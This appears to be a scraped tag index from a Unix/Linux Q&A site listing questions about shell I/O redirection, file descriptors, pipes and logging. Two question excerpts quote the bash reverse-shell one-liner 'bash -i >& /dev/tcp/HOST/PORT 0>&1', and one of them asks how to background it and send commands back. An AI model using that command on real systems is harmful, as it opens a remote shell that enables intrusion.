io redirection is the process of changing where the output and input of a program originate

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7
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1answer
43 views

How can I send reads and writes on a single file descriptor to different places?

I have a Linux executable foo that reads input from fd 0 and writes output to fd 0 (not fd 1). This works just fine for interactive use in the terminal. From the shell command line, how can I execute ...
-1
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3answers
44 views

cat /dev/null emptied my log file but size did not change

I'm quite new to Unix. Using Solaris 10 I faced the below issue. There is a large log file with size 9.5G. I tried to empty the file using the below command. # cat /dev/null file_log.txt By doing ...
3
votes
1answer
46 views

Does cat never read from terminal?

Chapter 43. Redirecting Input and Output of Unix Power Tools, Third Edition has to say this about cat command: Standard input (stdin) normally comes from your keyboard. Many programs ignore ...
2
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2answers
52 views

Decoding “prog > file 2>&1”

I am having some difficulty understanding the construct prog > file 2>&1. I have read that it means "Send stdout and stderr to file". But my question is how? I understand that prog > ...
4
votes
2answers
62 views

How to redirect stdout to a file and read from the same file simultaneously with another task?

I want to run a task (which takes quite a long time) remotely in Ubuntu Linux Bash via nohup and redirect stdout to a file, e.g.: nohup task > out.txt & From time to time I would like to ...
2
votes
2answers
51 views

Pass argument to script, then redirect script as input to bsub

I am currently working with the bsub job submission system from Platform LSF. I need to submit job scripts, but I am running into a problem with passing arguments to the job script. What I need is as ...
8
votes
2answers
187 views

Redirecting output depending on grep regex

I am using gradle run to start a REST server. The output of the REST server looks like this: XXX.XXX.XX.XXX - <moreinfo> randomtext randomtext XXX.XXX.XX.XXX - <moreinfo> XXX.XXX.XX.XXX - ...
3
votes
1answer
49 views

redirect output for a command that takes in multiple arguments

this command is to redirect output of time to with multiple args: $ time wc test >wc.out 2>time.out unix programming environment book shows that the error output of time redirects to ...
5
votes
3answers
135 views

Combining brace expansion and output redirection

Often, I use parameter expansion on the command-line, such as cp a.{ext1,ext2} which is expands to cp a.ext1 a.ext2 However, in many cases I do not use cp, but another tool, let's call it cat, ...
4
votes
1answer
91 views

How to make a variable from a subshell available in the parent shell

I've written a quick-and-dirty script to time some reports from a web service: BASE_URL='http://example.com/json/webservice/' FIRST=1 FINAL=10000 for report_code in $(seq 1 $FINAL); do (time -p ...
1
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2answers
51 views

Hiding Script Command Output

I'm building a shell script to automatically configure a specific computer with the best settings. I would like to hide all output from this script except for echo output. Is it possible?
1
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2answers
60 views

What does “batch mode” mean for the top command?

I was reading about the top command and I came across something I don't quite understand: top options: -b Run in batch mode. This is useful for sending output from top to other programs or to ...
12
votes
7answers
352 views

How do you remember the syntax for 2>&1 redirection [closed]

Do you have a mnemonic or system? This has bothered me for years I always have to look it up
2
votes
1answer
488 views

bottomless tee?

I was just playing around in the terminal and I did this: printf 'some string\n' | { tee /dev/fd/3 | { : && sed 's/some/string/' } } 3>&0 I was really surprised when ...
5
votes
1answer
73 views

What are the difference between those four commands (fifo, process substitution, redirection…)

My goal is to create a simple echo server using nc and a single fifo. I'm not looking for the best way to do it, I'm merely trying to understand the semantics of the following commands (when does fork ...
1
vote
2answers
46 views

What fd's are used when doing diff <(cat old) <(cat new)?

If I do: diff <(cat old) <(cat new) Hoe does that work internally for the diff program? And how I do the same trick with a bash script?
3
votes
3answers
112 views

Environment variables are not set when my function is called in a pipeline

I have the following recursive function to set environment variables: function par_set { PAR=$1 VAL=$2 if [ "" != "$1" ] then export ${PAR}=${VAL} echo ${PAR}=${VAL} shift ...
1
vote
1answer
60 views

Send copy of a script's output to a file

Say I have a Zsh script and that I would like to let it print output to STDOUT, but also copy (dump) its output to a file in disk. Moreover, the script starts with the following option set -o xtrace ...
3
votes
1answer
61 views

How does SSH display the message “The authenticity of host .. can't be established”?

I wanted to trace down the system call used by ssh to output this warning message: > ssh root@abcde The authenticity of host .. can't be established. If the message were sent to stderr or ...
9
votes
2answers
233 views

Closing a file descriptor, >&- vs <&-

In the bash tutorial I am reading, it says that if you open a file descriptor for reading, i.e. exec 3< echolist Then you must close it like this, exec 3<&- However, if you open a file ...
10
votes
5answers
978 views

Difference between cat and '>' to zero out a file

Are these two commands any different on how they go about zero-ing out files? Is the latter a shorter way of doing the former? What is happening behind the scenes? Both $ cat /dev/null > ...
3
votes
0answers
62 views

Some puzzles of how to close file descriptors on sh or bash [duplicate]

Question 1. What will happen if we close a input file descriptor as if it is a output file descriptor? (or vice versa). For Example, $ exec 5<&2 $ exec 5>&- In my linux box, ...
2
votes
3answers
1k views

bash: /home/user/.ssh/authorized_keys: No such file or directory

Create a ssh key: $ ssh-keygen -t rsa –P "" Moving the key to authorized key: $ cat $HOME/.ssh/id_rsa.pub >> $HOME/.ssh/authorized_keys bash: /home/user/.ssh/authorized_keys: No such file ...
3
votes
3answers
247 views

stdin, stderr, redirection and logs

Is there a difference between those two lines ? /home/user/script.sh >> /home/user/stdout_and_error.log 2>&1 /home/user/script.sh 2>&1 >> /home/user/stdout_and_error.log ...
3
votes
1answer
204 views

Prevent hanging of “echo STRING > fifo” when nothing is reading that FIFO

When I echo something to a named pipe made with mkfifo, it hangs if no process is reading from that pipe. How can I prevent that, i.e., stop that from hanging? And by the way, why is that hanging ...
1
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2answers
103 views

How to properly launch a program and make possible to redirect its running output (stdout and stderr) at a later stage?

The problem is quite simple: I find useful to have the possibility to switch on (and off) the output of some running program in each moment I need. To be more precise I want to be free to redirect ...
22
votes
1answer
521 views

How do I redirect command completion output?

On the command line, I can redirect or pipe output of a command to a file or another command using the > or | operator after the command. I have come across a less standard situation that I would ...
9
votes
3answers
469 views

tee stdout to stderr?

I'd like to send stdout from one process to the stdin of another process, but also to the console. Sending stdout to stdout+stderr, for instance. For example, I've got git edit aliased to the ...
1
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2answers
60 views

Redirect the output of a command in `time command`

I am trying to time something using: /usr/bin/time myCommand However, since /usr/bin/time writes to stderr, if myCommand also writes to stderr, I will get more than just time's output on the ...
1
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1answer
424 views

Linux : how to redirect stdout & stderr to logger?

I have a program I need to run at startup, it has output on stdout and stderr that I want to redirect to the system log using the logger command. What I have in my startup script is thie: ...
2
votes
2answers
116 views

Linux Shell fundamentals: How can I check the file descriptors status, (where are redirected to) right now without lsof?

I am learning about file descriptors for the case of Linux, and I was wondering if there is any command showing a complete list that allows me to know where is each one redirected to in this moment. ...
8
votes
2answers
130 views

How do I elevate privileges in the middle of pipeline?

My guess was as follows: echo "Generating some text" | su - -c cat >/output/file But su says: su: must be run from a terminal What would you do?
26
votes
4answers
3k views

What is the correct name for the “>” command

I was trying to find how to pass some text to a file without overwriting what's there already using the > command and I realised I don't know what it's called. Searching for right arrow or right ...
5
votes
4answers
305 views

Emptying a file without disrupting the pipe writing to it

I have a program whose output I redirect to a log file: ./my_app > log I would like to clear (i.e. empty) the log from time to time (on demand) and tried various things like cat "" > log ...
4
votes
2answers
98 views

Command substitution vs I/O Redirection?

I am wondered about differences between I/O Redirection and Command substitution? For example when I want to redirect which command output to cd command (I know that it's not a directory) then the ...
2
votes
3answers
123 views

Redirecting only stderr to a pipe

This code snippet is from Advanced Bash Scripting Guide. # Redirecting only stderr to a pipe. exec 3>&1 # Save current "value" of stdout. ls -l 2>&1 ...
1
vote
2answers
158 views

Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
1
vote
1answer
131 views

Why does redirection in crontab result in a zero byte file?

System: Xubuntu 13.10 When I have this crontab entry */5 * * * * cat /home/dbk/.bash_aliases &> /home/dbk/Desktop/junk junk has a byte size of 0. Running $ cat /home/dbk/.bash_aliases ...
3
votes
1answer
185 views

What does exec 3<&1 do?

I understand exec can do I/O Redirection on current shell level. but I only sees usage like exec 6<&0 # Link file descriptor #6 with stdin. # Saves stdin. exec 6>&1 # ...
0
votes
2answers
121 views

How to reset the file descriptor

I was trying to use file descriptor for printing the lines in the file #!/usr/bin/ksh exec 3<&0 exec 0< file.txt while read LINE do echo “$LINE” done and I am done with my code ,it ...
7
votes
1answer
370 views

Is this redirecting to /dev/null?

I found this script on the arch wiki which prefixes an ffmpeg command like this < /dev/null ffmpeg -i "$a" -qscale:a 0 "${a[@]/%flac/mp3}" I understand the ffmpeg command, it is the < ...
8
votes
2answers
846 views

Why does 'nohup command >& /dev/null' seem to “work” in some shells?

I edited an answer on Ask Ubuntu that was suggesting the following nohup gedit >& /dev/null & When they actually meant nohup gedit &> /dev/null & Now, the latter ...
0
votes
1answer
50 views

Capture Error of LS to file [duplicate]

#!/bin/sh if [ $(ls sample01.log | wc -l) = 1 ] then echo "File Found" > lsOutput.log else echo "File Not Found" > lsOutput.log fi But if sample01.log is not already existing my code already ...
3
votes
2answers
59 views

Inconsistencies between redirecting input from file, here docs, and here strings

Why is this inconsistent? I would expect here docs and here strings to be functionally equivalent to redirecting input from a file. $ bash --version GNU bash, version 4.1.2(1)-release ...
4
votes
1answer
182 views

Why do piping and redirection work differently with here documents?

Combining a redirect with a here document seems logical enough: $ bash > foo <<EOF echo Hello EOF $ less foo Hello But with a pipe it behaves differently: $ bash | tee foo <<EOF ...
1
vote
1answer
193 views

Meaning of bash -i >& /dev/tcp/HOST/PORT 0>&1?

I tried this bash -i >& /dev/tcp/HOST/PORT 0>&1, but it does not seem to work behind firewall. What does this code actually do, which ports are forwarded and could it work behind ...
0
votes
1answer
65 views

Prompting when redirecting content of script to remote machine

I have simple script: #!/bin/bash while getopts ":u:" opt; do case $opt in u) USER="${OPTARG}" ;; \?) echo "Unknown flag has been used: -$OPTARG" >&2 exit 1 ...
0
votes
1answer
45 views

Piped search queries in vim or less

I would like to be able to search a log file for lines that being with ^2014-02-18 15:30:[0-9:,]* and have UserName:someguy much later in the same line. I am sure I could do a regex to include any ...
1
vote
1answer
81 views

GoAccess won't redirect its output as a CGI script

I've been pulling my hair with this script: #!/bin/bash echo Content-type: text/html echo "" goaccess -f /var/www/log/access.log -a | tee Which runs perfectly on the command line (generates HTML ...
2
votes
2answers
80 views

Very strange ls > textfile problem when viewing with emacs

I want to list the components of the current working directory in a text file ls -1 > textfile Output looks fine with more. 1010661085645 1010729039145 1010747080245 1010849051345 ...